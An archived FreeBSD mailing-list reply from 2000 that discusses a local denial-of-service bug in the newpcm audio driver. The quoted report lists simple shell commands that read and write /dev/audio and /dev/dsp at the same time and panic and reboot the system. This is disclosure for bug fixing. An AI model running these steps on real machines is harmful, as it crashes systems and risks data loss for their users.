Date: Tue, 26 Sep 2000 10:21:27 -0400 From: Dave Edmondson <david@jlc.net> To: Markko Merzin <markko@torn.eau.ee> Subject: Re: DOS in newpcm audio driver Message-ID: <20000926102127.A96500@verdi.jlc.net> In-Reply-To: <Pine.BSF.4.10.10009261326520.58778-100000@mail.torn.eau.ee>; from markko@torn.eau.ee on Tue, Sep 26, 2000 at 02:16:27PM %2B0000 References: <Pine.BSF.4.10.10009261326520.58778-100000@mail.torn.eau.ee>
next in thread | previous in thread | raw e-mail | index | archive | help
Yep, I've encountered the same type of problem with the commercial OSS
drivers. Running soundoff while something is using the audio device will
cause a panic/reboot. However, that SHOULD only be executable by root.
Still something to look out for.
> Hi!
>
> Any user with read-write access to audio device files (/dev/audio,
> /dev/dsp*) can cause system panic and reboot.
>
> Dont forget remount your filesystems, exept /, read-only before trying
> this.
>
> It goes like this:
>
> # Play an au file:
> [1] markko@leida:~$ cat soundfile.au >/dev/audio &
> # while it plays, open /dev/dsp for reading.
> [2] markko@leida:~$ cat </dev/dsp >/dev/null
> # wait few seconds and hit control C
> # panic, reboot ...
>
> Or:
>
> [1] markko@leida:~$ mpg123 -q mpegfile.mp3 &
> [2] markko@leida:~$ cat </dev/audio >/dev/null
--
David Edmondson <david@jlc.net> www.jlc.net/david
GFA dpu s+: a17>? C++$ UB++++$ P+>+++ L- E--- W++>+++ N-(+) o- K-> w O? M-(--)
V?>-- PS+ PE Y? PGP->+ t- 5 X(+) R tv>! b+>++ DI+++ D(+) G(--) e>* h!>+ r++ y?
FreeBSD - The Best NT Upgrade
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-stable" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20000926102127.A96500>
